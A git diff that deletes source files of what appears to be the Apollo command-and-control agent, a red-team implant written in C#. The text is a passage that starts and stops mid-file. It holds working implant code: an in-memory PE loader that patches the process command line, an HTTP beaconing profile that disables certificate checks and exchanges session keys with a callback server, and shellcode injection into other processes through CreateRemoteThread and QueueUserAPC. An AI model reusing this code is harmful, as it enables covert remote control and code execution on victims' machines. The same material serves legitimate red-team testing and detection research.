Marshal.SizeOf(typeof(IMAGE_NT_HEADERS32))); - } - - // Process each section - for (int i = 0; i < numberOfSections; i++) - { - IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrSectionHeader, typeof(IMAGE_SECTION_HEADER)); - - if (sectionHeader.VirtualAddress != 0 && sectionHeader.SizeOfRawData > 0) - { - // Determine the appropriate protection flags - uint protect = PAGE_READWRITE; // Default - - if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0) - { - if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) != 0) - protect = PAGE_EXECUTE_READWRITE; - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_READ) != 0) - protect = PAGE_EXECUTE_READ; - else - protect = PAGE_EXECUTE; - } - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) != 0) - { - protect = PAGE_READWRITE; - } - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_READ) != 0) - { - protect = PAGE_READONLY; - } - - // Calculate the section's memory size (aligned to page size) - IntPtr sectionAddress = IntPtr.Add(_baseAddress, (int)sectionHeader.VirtualAddress); - uint oldProtect; - - // Apply the protection - if (!VirtualProtect(sectionAddress, (UIntPtr)sectionHeader.SizeOfRawData, protect, out oldProtect)) - throw new InvalidOperationException($"Failed to set memory protection for section {i}"); - } - - ptrSectionHeader = IntPtr.Add(ptrSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); - } - } - - /// - /// Restores the original command line in the PEB if it was modified. - /// - private void RestoreCommandLine() - { - // First, remove any API hooks - if (_commandLineHooking != null) - { - try - { - _commandLineHooking.RemoveHooks(); - _commandLineHooking.Dispose(); - _commandLineHooking = null; - //Console.WriteLine("[Debug] GetCommandLine API hooks removed successfully"); - } - catch (Exception ex) - { - Console.WriteLine($"[Warning] Error removing GetCommandLine API hooks: {ex.Message}"); - } - } - - // Then restore the PEB if we modified it - if (_commandLinePtr != IntPtr.Zero && _originalCommandLinePtr != IntPtr.Zero) - { - try - { - // Get the process environment block (PEB) - PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); - int returnLength; - - int status = NtQueryInformationProcess( - GetCurrentProcess(), - ProcessBasicInformation, - ref pbi, - Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)), - out returnLength - ); - - if (NT_SUCCESS(status)) - { - // Get the ProcessParameters pointer - IntPtr processParamsPtr = Marshal.ReadIntPtr( - IntPtr.Add(pbi.PebBaseAddress, _is64Bit ? 0x20 : 0x10) - ); - - if (processParamsPtr != IntPtr.Zero) - { - // Get the original command line buffer pointer - IntPtr commandLinePtr = IntPtr.Add(processParamsPtr, _is64Bit ? 0x70 : 0x40); - - // Make the memory writable - uint oldProtect; - if (VirtualProtect(commandLinePtr, (UIntPtr)IntPtr.Size, PAGE_READWRITE, out oldProtect)) - { - // Restore the original command line buffer pointer - Marshal.WriteIntPtr(commandLinePtr, _originalCommandLinePtr); - - // Restore protection - VirtualProtect(commandLinePtr, (UIntPtr)IntPtr.Size, oldProtect, out _); - - //Console.WriteLine("[Debug] Original command line restored in PEB"); - } - } - } - } - catch (Exception ex) - { - Console.WriteLine($"[Warning] Error restoring command line in PEB: {ex.Message}"); - } - - // Free the pinned command line string - if (_commandLineHandle.IsAllocated) - _commandLineHandle.Free(); - - _commandLinePtr = IntPtr.Zero; - } - } - - #endregion - - #region IDisposable Implementation - - /// - /// Disposes the memory PE and frees all resources. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - RestoreCommandLine(); - return; - } - - #endregion - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/packages.config b/Payload_Type/apollo/apollo/agent_code/ExecutePE/packages.config deleted file mode 100644 index de7934ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.cs deleted file mode 100644 index 2f748b6c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.cs +++ /dev/null @@ -1,227 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Types.Delegates; -using System.Net; -using ApolloInterop.Enums.ApolloEnums; - -namespace HttpTransport -{ - public class HttpProfile : C2Profile, IC2Profile - { - private int CallbackInterval; - private double CallbackJitter; - private int CallbackPort; - private string CallbackHost; - private string PostUri; - // synthesis of CallbackHost, CallbackPort, PostUri - private string Endpoint; - private bool EncryptedExchangeCheck; - private string ProxyHost; - private int ProxyPort; - private string ProxyUser; - private string ProxyPass; - private string KillDate; - // synthesis of ProxyHost and ProxyPort - private string ProxyAddress; - private Dictionary _additionalHeaders = new Dictionary(); - private bool _uuidNegotiated = false; - private RSAKeyGenerator rsa = null; - - private string ParseURLAndPort(string host, int port) - { - string final_url = ""; - int last_slash = -1; - if(port == 443 && host.StartsWith("https://")){ - final_url = host; - } else if(port == 80 && host.StartsWith("http://")){ - final_url = host; - } else { - last_slash = host.Substring(8).IndexOf("/"); - if(last_slash == -1){ - final_url = string.Format("{0}:{1}", host, port); - } else { - last_slash += 8; - final_url = host.Substring(0, last_slash) + $":{port}" + host.Substring(last_slash); - } - } - return final_url; - } - public HttpProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) - { - CallbackInterval = int.Parse(data["callback_interval"]); - CallbackJitter = double.Parse(data["callback_jitter"]); - CallbackPort = int.Parse(data["callback_port"]); - CallbackHost = data["callback_host"]; - PostUri = data["post_uri"]; - EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; - ProxyHost = data["proxy_host"]; - if(data["proxy_port"].Length > 0){ - ProxyPort = int.Parse(data["proxy_port"]); - if(ProxyHost.Length > 0){ - ProxyAddress = this.ParseURLAndPort(ProxyHost, ProxyPort); - } - } - - rsa = agent.GetApi().NewRSAKeyPair(4096); - - - if (PostUri[0] != '/') - { - PostUri = $"/{PostUri}"; - } - Endpoint = this.ParseURLAndPort(CallbackHost, CallbackPort); - //Endpoint = string.Format("{0}:{1}", CallbackHost, CallbackPort); - ProxyUser = data["proxy_user"]; - ProxyPass = data["proxy_pass"]; - KillDate = data["killdate"]; - - string[] reservedStrings = new[] - { - "callback_interval", - "callback_jitter", - "callback_port", - "callback_host", - "post_uri", - "encrypted_exchange_check", - "proxy_host", - "proxy_port", - "proxy_user", - "proxy_pass", - "killdate", - }; - - foreach(string k in data.Keys) - { - if (!reservedStrings.Contains(k)) - { - _additionalHeaders.Add(k, data[k]); - } - } - - // Disable certificate validation on web requests - ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; - ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; - - Agent.SetSleep(CallbackInterval, CallbackJitter); - } - - public void Start() - { - bool first = true; - while(Agent.IsAlive()) - { - bool bRet = GetTasking(resp => Agent.GetTaskManager().ProcessMessageResponse(resp)); - - if (!bRet) - { - break; - } - - Agent.Sleep(); - } - } - - private bool GetTasking(OnResponse onResp) => Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp)); - - public bool IsOneWay() => false; - - public bool Send(T message) => throw new Exception("HttpProfile does not support Send only."); - public bool Recv(OnResponse onResponse) => throw new Exception("HttpProfile does not support Recv only."); - public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("HttpProfile does not support Recv only."); - - - public bool SendRecv(T message, OnResponse onResponse) - { - WebClient webClient = new WebClient(); - if (!string.IsNullOrEmpty(ProxyHost) && - !string.IsNullOrEmpty(ProxyUser) && - !string.IsNullOrEmpty(ProxyPass)) - { - webClient.Proxy = (IWebProxy) new WebProxy() - { - Address = new Uri(ProxyAddress), - Credentials = new NetworkCredential(ProxyUser, ProxyPass), - UseDefaultCredentials = false, - BypassProxyOnLocal = false - }; - } - else - { - // Use Default Proxy and Cached Credentials for Internet Access - webClient.Proxy = WebRequest.GetSystemWebProxy(); - webClient.Proxy.Credentials = CredentialCache.DefaultCredentials; - } - - foreach(string k in _additionalHeaders.Keys) - { - webClient.Headers.Add(k, _additionalHeaders[k]); - } - - webClient.BaseAddress = Endpoint; - string sMsg = Serializer.Serialize(message); - try - { - var response = webClient.UploadString(PostUri, sMsg); - onResponse(Serializer.Deserialize(response)); - return true; - } - catch (Exception ex) - { - return false; - } - } - - // Only really used for bind servers so this returns empty - public bool Connect() - { - return true; - } - - public bool IsConnected() - { - return Connected; - } - - public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) - { - if (EncryptedExchangeCheck && !_uuidNegotiated) - { - EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() - { - Action = "staging_rsa", - PublicKey = this.rsa.ExportPublicKey(), - SessionID = this.rsa.SessionId - }; - - if (!SendRecv(handshake1, delegate(EKEHandshakeResponse respHandshake) - { - byte[] tmpKey = this.rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); - ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); - ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); - Agent.SetUUID(respHandshake.UUID); - return true; - })) - { - return false; - } - } - string msg = Serializer.Serialize(checkinMsg); - return SendRecv(checkinMsg, delegate (MessageResponse mResp) - { - Connected = true; - if (!_uuidNegotiated) - { - ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); - Agent.SetUUID(mResp.ID); - _uuidNegotiated = true; - } - return onResp(mResp); - }); - } - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.csproj deleted file mode 100644 index 8f19282c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/HttpProfile/HttpProfile.csproj +++ /dev/null @@ -1,20 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/HttpProfile/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/HttpProfile/Properties/AssemblyInfo.cs deleted file mode 100644 index a2660af5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/HttpProfile/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("HttpProfile")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("HttpProfile")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("74b393f3-4000-49ac-8116-dccdb5f52344")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/HttpProfile/packages.config b/Payload_Type/apollo/apollo/agent_code/HttpProfile/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/HttpProfile/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Injection.csproj b/Payload_Type/apollo/apollo/agent_code/Injection/Injection.csproj deleted file mode 100644 index 9145a009..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Injection.csproj +++ /dev/null @@ -1,19 +0,0 @@ - - - net451 - Library - 12 - enable - false - true - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/InjectionManager.cs b/Payload_Type/apollo/apollo/agent_code/Injection/InjectionManager.cs deleted file mode 100644 index a77bb004..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/InjectionManager.cs +++ /dev/null @@ -1,81 +0,0 @@ -using ApolloInterop.Classes.Core; -using ApolloInterop.Interfaces; -using System; -using System.Collections.Concurrent; -using System.Linq; -using System.Reflection; - -namespace Injection -{ - public class InjectionManager : IInjectionManager - { - private IAgent _agent; - private Type _currentTechnique = typeof(Techniques.CreateRemoteThread.CreateRemoteThread); - private ConcurrentDictionary _loadedTechniques = new ConcurrentDictionary(); - public InjectionManager(IAgent agent) - { - _agent = agent; - foreach (Type t in Assembly.GetExecutingAssembly().GetTypes()) - { - if (t.Namespace != null && t.Namespace.StartsWith("Injection.Techniques") && - t.IsPublic && - t.IsClass && - t.IsVisible) - { - string k = t.FullName.Replace("Injection.Techniques.", ""); - _loadedTechniques[k] = t; - } - } - } - - public InjectionTechnique CreateInstance(byte[] code, int pid) - { - return (InjectionTechnique)Activator.CreateInstance( - _currentTechnique, - new object[] { _agent, code, pid }); - } - - public InjectionTechnique CreateInstance(byte[] code, IntPtr hProcess) - { - return (InjectionTechnique)Activator.CreateInstance( - _currentTechnique, - new object[] { _agent, code, hProcess }); - } - - public Type GetCurrentTechnique() - { - return _currentTechnique; - } - - public string[] GetTechniques() - { - return _loadedTechniques.Keys.ToArray(); - } - - public bool LoadTechnique(byte[] assembly, string name) - { - bool bRet = false; - Assembly tmp = Assembly.Load(assembly); - foreach(Type t in tmp.GetTypes()) - { - if (t.Name == name) - { - _loadedTechniques[name] = t; - bRet = true; - break; - } - } - return bRet; - } - - public bool SetTechnique(string technique) - { - if (!_loadedTechniques.ContainsKey(technique)) - { - return false; - } - _currentTechnique = _loadedTechniques[technique]; - return true; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Properties/AssemblyInfo.cs deleted file mode 100644 index 8992b356..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("Injection")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Injection")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("e4724425-fc2d-40ae-9506-553d5d9dd929")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Shared/Win32.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Shared/Win32.cs deleted file mode 100644 index d1d8dcbc..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Shared/Win32.cs +++ /dev/null @@ -1,243 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace Injection.Shared -{ - public static class Win32 - { - [Flags] - internal enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - - STANDARD_RIGHTS_ALL = 0x001F0000, - - SPECIFIC_RIGHTS_ALL = 0x0000FFFF, - - ACCESS_SYSTEM_SECURITY = 0x01000000, - - MAXIMUM_ALLOWED = 0x02000000, - - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - - WINSTA_ALL_ACCESS = 0x0000037F - } - - [StructLayout(LayoutKind.Sequential)] - internal struct CLIENT_ID - { - internal IntPtr UniqueProcess; - internal IntPtr UniqueThread; - } - - [StructLayout(LayoutKind.Sequential, Pack = 0)] - internal struct OBJECT_ATTRIBUTES - { - public int Length; - public IntPtr RootDirectory; - public IntPtr ObjectName; - public uint Attributes; - public IntPtr SecurityDescriptor; - public IntPtr SecurityQualityOfService; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct UNICODE_STRING : IDisposable - { - public ushort Length; - public ushort MaximumLength; - private IntPtr buffer; - - public UNICODE_STRING(string s) - { - Length = (ushort)(s.Length * 2); - MaximumLength = (ushort)(Length + 2); - buffer = Marshal.StringToHGlobalUni(s); - } - - public void Dispose() - { - Marshal.FreeHGlobal(buffer); - buffer = IntPtr.Zero; - } - - public override string ToString() - { - return Marshal.PtrToStringUni(buffer); - } - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct IMAGE_DOS_HEADER - { - public UInt16 e_magic; // Magic number - public UInt16 e_cblp; // Bytes on last page of file - public UInt16 e_cp; // Pages in file - public UInt16 e_crlc; // Relocations - public UInt16 e_cparhdr; // Size of header in paragraphs - public UInt16 e_minalloc; // Minimum extra paragraphs needed - public UInt16 e_maxalloc; // Maximum extra paragraphs needed - public UInt16 e_ss; // Initial (relative) SS value - public UInt16 e_sp; // Initial SP value - public UInt16 e_csum; // Checksum - public UInt16 e_ip; // Initial IP value - public UInt16 e_cs; // Initial (relative) CS value - public UInt16 e_lfarlc; // File address of relocation table - public UInt16 e_ovno; // Overlay number - public UInt16 e_res_0; // Reserved words - public UInt16 e_res_1; // Reserved words - public UInt16 e_res_2; // Reserved words - public UInt16 e_res_3; // Reserved words - public UInt16 e_oemid; // OEM identifier (for e_oeminfo) - public UInt16 e_oeminfo; // OEM information; e_oemid specific - public UInt16 e_res2_0; // Reserved words - public UInt16 e_res2_1; // Reserved words - public UInt16 e_res2_2; // Reserved words - public UInt16 e_res2_3; // Reserved words - public UInt16 e_res2_4; // Reserved words - public UInt16 e_res2_5; // Reserved words - public UInt16 e_res2_6; // Reserved words - public UInt16 e_res2_7; // Reserved words - public UInt16 e_res2_8; // Reserved words - public UInt16 e_res2_9; // Reserved words - public UInt32 e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - internal struct IMAGE_OPTIONAL_HEADER64 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt64 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt64 SizeOfStackReserve; - public UInt64 SizeOfStackCommit; - public UInt64 SizeOfHeapReserve; - public UInt64 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct IMAGE_DATA_DIRECTORY - { - public UInt32 VirtualAddress; - public UInt32 Size; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct IMAGE_EXPORT_DIRECTORY - { - public UInt32 Characteristics; - public UInt32 TimeDateStamp; - public UInt16 MajorVersion; - public UInt16 MinorVersion; - public UInt32 Name; - public UInt32 Base; - public UInt32 NumberOfFunctions; - public UInt32 NumberOfNames; - public UInt32 AddressOfFunctions; - public UInt32 AddressOfNames; - public UInt32 AddressOfNameOrdinals; - } - - [Flags] - public enum AllocationType - { - Commit = 0x1000, - Reserve = 0x2000, - Decommit = 0x4000, - Release = 0x8000, - Reset = 0x80000, - Physical = 0x400000, - TopDown = 0x100000, - WriteWatch = 0x200000, - LargePages = 0x20000000 - } - - [Flags] - public enum MemoryProtection - { - Execute = 0x10, - ExecuteRead = 0x20, - ExecuteReadWrite = 0x40, - ExecuteWriteCopy = 0x80, - NoAccess = 0x01, - ReadOnly = 0x02, - ReadWrite = 0x04, - WriteCopy = 0x08, - GuardModifierflag = 0x100, - NoCacheModifierflag = 0x200, - WriteCombineModifierflag = 0x400 - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/CreateRemoteThread/CreateRemoteThread.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/CreateRemoteThread/CreateRemoteThread.cs deleted file mode 100644 index 426437be..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/CreateRemoteThread/CreateRemoteThread.cs +++ /dev/null @@ -1,114 +0,0 @@ -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Core; -using ApolloInterop.Interfaces; -using System; -using static Injection.Shared.Win32; - -namespace Injection.Techniques.CreateRemoteThread -{ - public class CreateRemoteThread : InjectionTechnique - { - private delegate IntPtr VirtualAllocEx( - IntPtr hProcess, - IntPtr lpAddress, - ulong dwSize, - AllocationType flAllocationType, - MemoryProtection flProtect); - private delegate bool WriteProcessMemory( - IntPtr hProcess, - IntPtr lpBaseAddress, - byte[] lpBuffer, - uint nSize, - out uint lpNumberOfBytesWritten); - private delegate bool VirtualProtectEx( - IntPtr hProcess, - IntPtr lpAddress, - uint dwSize, - uint flNewProtect, - out uint lpflOldProtect); - private delegate IntPtr CRT( - IntPtr hProcess, - IntPtr lpThreadAttributes, - uint dwStackSize, - IntPtr lpStartAddress, - IntPtr lpParameter, - uint dwCreationFlags, - IntPtr lpThreadId); - - private VirtualAllocEx _pVirtualAllocEx; - private WriteProcessMemory _pWriteProcessMemory; - private CRT _pCreateRemoteThread; - private VirtualProtectEx _pVirtualProtectEx; - - public CreateRemoteThread(IAgent agent, byte[] code, int pid) : base(agent, code, pid) - { - GetFunctionPointers(); - } - - public CreateRemoteThread(IAgent agent, byte[] code, IntPtr hProcess) : base(agent, code, hProcess) - { - GetFunctionPointers(); - } - - private void GetFunctionPointers() - { - _pVirtualAllocEx = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "VirtualAllocEx"); - _pWriteProcessMemory = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "WriteProcessMemory"); - _pCreateRemoteThread = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateRemoteThread"); - _pVirtualProtectEx = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "VirtualProtectEx"); - } - - public override bool Inject(string arguments = "") - { - bool bRet = true; - IntPtr remoteThread = IntPtr.Zero; - try - { - uint bytesWritten = 0; - IntPtr allocSpace = _pVirtualAllocEx( - _hProcess, - IntPtr.Zero, - (ulong)_code.Length, - AllocationType.Commit | AllocationType.Reserve, - MemoryProtection.ReadWrite); - if (allocSpace == IntPtr.Zero) - { - bRet = false; - } - else - { - bRet = _pWriteProcessMemory(_hProcess, allocSpace, _code, (uint)_code.Length, out bytesWritten); - if (bRet) - { - //Marshal.Copy(positionIndependentCode, 0, allocSpace, positionIndependentCode.Length); - uint flOldProtect = 0; - if (!_pVirtualProtectEx(_hProcess, allocSpace, (uint)_code.Length, (uint)MemoryProtection.ExecuteRead, out flOldProtect)) - bRet = false; - else - { - //var argumentPointer = Marshal.StringToHGlobalAnsi(arguments); - remoteThread = _pCreateRemoteThread(_hProcess, IntPtr.Zero, 0, allocSpace, IntPtr.Zero/*may need to change to string pointer later*/, 0, IntPtr.Zero); - if (remoteThread == IntPtr.Zero) - bRet = false; - else - bRet = true; - } - } - } - } - catch (Exception ex) - { - bRet = false; - } - finally - { - // Attempt to clean up handles but may cause problems. Triple caution! - if (remoteThread != IntPtr.Zero) - { - _pCloseHandle(remoteThread); - } - } - return bRet; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/EarlyBird/QueueUserAPC.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/EarlyBird/QueueUserAPC.cs deleted file mode 100644 index 5e7871ec..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/EarlyBird/QueueUserAPC.cs +++ /dev/null @@ -1,147 +0,0 @@ -using System; -using System.Diagnostics; -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Core; -using ApolloInterop.Interfaces; -using static Injection.Shared.Win32; - -namespace Injection.Techniques.EarlyBird -{ - public class QueueUserAPC : InjectionTechnique - { - private enum ThreadAccessRights : UInt32 - { - SYNCHRONIZE = 0x00100000, - THREAD_DIRECT_IMPERSONATION = 0x0200, - THREAD_GET_CONTEXT = 0x0008, - THREAD_IMPERSONATE = 0x0100, - THREAD_QUERY_INFORMATION = 0x0040, - THREAD_QUERY_LIMITED_INFORMATION = 0x0800, - THREAD_SET_CONTEXT = 0x0010, - THREAD_SET_INFORMATION = 0x0020, - THREAD_SET_LIMITED_INFORMATION = 0x0400, - THREAD_SET_THREAD_TOKEN = 0x0080, - THREAD_SUSPEND_RESUME = 0x0002, - THREAD_TERMINATE = 0x0001, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - THREAD_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF) - } - private delegate IntPtr OpenThread(ThreadAccessRights dwDesiredAccess, bool bInheritHandle, uint dwThreadId); - private delegate IntPtr VirtualAllocEx( - IntPtr hProcess, - IntPtr lpAddress, - ulong dwSize, - AllocationType flAllocationType, - MemoryProtection flProtect); - private delegate bool VirtualProtectEx( - IntPtr hProcess, - IntPtr lpAddress, - uint dwSize, - uint flNewProtect, - out uint lpflOldProtect); - private delegate bool WriteProcessMemory( - IntPtr hProcess, - IntPtr lpBaseAddress, - byte[] lpBuffer, - uint nSize, - out uint lpNumberOfBytesWritten); - private delegate bool QUAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); - private delegate int ResumeThread(IntPtr hThread); - private delegate void CloseHandle(IntPtr handle); - - private OpenThread _pOpenThread; - private VirtualAllocEx _pVirtualAllocEx; - private WriteProcessMemory _pWriteProcessMemory; - private QUAPC _pQUAPC; - private ResumeThread _pResumeThread; - private CloseHandle _pCloseHandle; - private VirtualProtectEx _pVirtualProtectEx; - public QueueUserAPC(IAgent agent, byte[] code, int pid) : base(agent, code, pid) - { - GetFunctionPointers(); - } - - public QueueUserAPC(IAgent agent, byte[] code, IntPtr hProcess) : base(agent, code, hProcess) - { - GetFunctionPointers(); - } - - private void GetFunctionPointers() - { - _pOpenThread = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenThread"); - _pVirtualAllocEx = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "VirtualAllocEx"); - _pWriteProcessMemory = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "WriteProcessMemory"); - _pQUAPC = 